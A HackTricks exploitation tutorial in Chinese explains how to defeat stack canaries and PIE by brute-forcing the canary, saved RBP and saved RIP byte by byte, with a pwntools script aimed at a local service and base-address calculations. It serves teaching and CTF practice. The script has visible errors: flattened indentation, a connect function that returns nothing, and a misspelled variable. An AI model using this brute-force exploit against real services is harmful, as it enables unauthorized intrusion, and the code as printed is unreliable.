# BF Addresses in the Stack

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

**如果您面对一个由 canary 和 PIE（位置无关可执行文件）保护的二进制文件，您可能需要找到一种绕过它们的方法。**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-95ac857d8ae19be9bc96c5b5e1a5ef50998db3d3%2Fimage%20\(862\).png?alt=media)

{% hint style="info" %}
请注意，如果二进制文件是静态编译的且无法识别函数，**`checksec`** 可能无法发现二进制文件受到 canary 保护。\
但是，如果您发现在函数调用开始时将一个值保存在堆栈中，并且在退出之前检查了该值，您可以手动注意到这一点。
{% endhint %}

## 暴力破解地址

为了**绕过 PIE**，您需要**泄漏一些地址**。如果二进制文件没有泄漏任何地址，最好的方法是在易受攻击的函数中**暴力破解堆栈中保存的 RBP 和 RIP**。\
例如，如果一个二进制文件同时使用**canary**和**PIE**进行保护，您可以开始暴力破解 canary，然后**接下来**的 8 字节（x64）将是保存的**RBP**，**接下来**的 8 字节将是保存的**RIP**。

{% hint style="success" %}
假定堆栈中的返回地址属于主二进制代码，如果漏洞位于二进制代码中，通常情况下会是这样。
{% endhint %}

要从二进制文件中暴力破解 RBP 和 RIP，您可以发现一个有效的猜测字节是否正确，如果程序输出了内容或者没有崩溃。可以使用与用于暴力破解 canary 相同的函数来暴力破解 RBP 和 RIP：

```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```

最后你需要战胜PIE的是计算从泄漏的地址中得到的有用地址：RBP和RIP。

从RBP中，你可以计算出你在堆栈中写入shell的位置。这对于知道你将在堆栈中写入字符串"/bin/sh\x00"的位置非常有用。要计算泄漏的RBP和你的shellcode之间的距离，你可以在泄漏RBP后设置一个断点，检查你的shellcode位于何处，然后计算shellcode和RBP之间的距离：

```python
INI_SHELLCODE = RBP - 1152
```

从**RIP**中，您可以计算**PIE二进制文件的基地址**，这是您需要创建**有效的ROP链**所需的内容。\
要计算基地址，只需执行`objdump -d vunbinary`并检查最新地址的反汇编代码：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-17d40aaabbcd4effebdca381040cfc8d939c6ffa%2Fimage%20\(476\).png?alt=media)

在这个示例中，您可以看到只需要**1字节和半字节**就可以定位所有代码，因此，在这种情况下，基地址将是**泄漏的RIP，但以"000"结尾**。例如，如果泄漏了`0x562002970ecf`，则基地址为`0x562002970000`

```python
elf.address = RIP - (RIP & 0xfff)
```

## 改进

根据[**这篇帖子的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)，当泄漏RBP和RIP值时，服务器不会因为一些不正确的值而崩溃，而BF脚本会认为它获得了正确的值。这是因为即使不是完全正确的地址，**有些地址可能也不会导致崩溃**。

根据该博客文章，建议在请求之间向服务器引入短暂延迟。
